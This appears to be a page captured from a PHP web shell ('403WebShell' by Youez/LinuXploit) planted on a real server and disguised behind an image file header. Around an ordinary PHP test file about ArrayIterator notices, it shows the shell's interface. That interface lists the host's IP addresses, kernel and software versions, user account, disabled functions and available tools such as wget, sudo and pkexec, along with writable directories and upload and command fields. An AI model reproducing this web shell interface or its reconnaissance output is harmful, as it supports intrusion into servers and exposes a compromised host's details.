????JFIF??x?x????'403WebShell
403Webshell
Server IP : 79.136.114.73  /  Your IP : 18.221.54.244
Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f
System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64
User : www-data ( 33)
PHP Version : 5.5.9-1ubuntu4.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/self/root/home/b8009/php-5.6.22/ext/spl/tests/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/self/root/home/b8009/php-5.6.22/ext/spl/tests/bug61527.phpt
--TEST--
Bug #61527 (Recursive/ArrayIterator gives misleading notice when array empty or moved to the end)
--FILE--
<?php
$ao = new ArrayObject(array());
$ai = $ao->getIterator();

/* testing empty array, should no notice at all */
$ai->next();
var_dump($ai->key());
var_dump($ai->current());

/* testing array changing */
$ao2 = new ArrayObject(array(1 => 1, 2, 3, 4, 5));
$ai2 = $ao2->getIterator();

$ao2->offsetUnset($ai2->key());
$ai2->next();

/* now point to 2 */
$ao2->offsetUnset($ai2->key());
var_dump($ai2->key());

/* now point to 3 */
$ao2->offsetUnset($ai2->key());
var_dump($ai2->current());

$ai2->next();
var_dump($ai2->key());
var_dump($ai2->current());

/* should be at the end and no notice */
$ai2->next();
var_dump($ai2->key());
var_dump($ai2->current());

$ai2->rewind();
$ai2->next();
$ai2->next();
/* should reached the end */
var_dump($ai2->next());
var_dump($ai2->key());

/* testing RecursiveArrayIterator */
$ao3 = new ArrayObject(array(), NULL, 'RecursiveArrayIterator');
$ai3 = $ao3->getIterator();

var_dump($ai3->getChildren());

$ao4 = new ArrayObject(array(1, 2), NULL, 'RecursiveArrayIterator');
$ai4 = $ao4->getIterator();

$ai4->next();
$ai4->next();
$ai4->next();
var_dump($ai4->hasChildren());

$ai4->rewind();
$ao4->offsetUnset($ai4->key());
var_dump($ai4->hasChildren());

$ao4->offsetUnset($ai4->key());
var_dump($ai4->getChildren());
?>
==DONE==
<?php exit(0); ?>
--EXPECTF--
NULL
NULL

Notice: ArrayIterator::next(): Array was modified outside object and internal position is no longer valid in %sbug61527.php on line %d

Notice: ArrayIterator::key(): Array was modified outside object and internal position is no longer valid in %sbug61527.php on line %d
NULL

Notice: ArrayIterator::current(): Array was modified outside object and internal position is no longer valid in %sbug61527.php on line %d
NULL
int(5)
int(5)
NULL
NULL
NULL
NULL
NULL
bool(false)

Notice: RecursiveArrayIterator::hasChildren(): Array was modified outside object and internal position is no longer valid in %sbug61527.php on line %d
bool(false)

Notice: RecursiveArrayIterator::getChildren(): Array was modified outside object and internal position is no longer valid in %sbug61527.php on line %d
NULL
==DONE==

Youez - 2016 - github.com/yon3zu
LinuXploit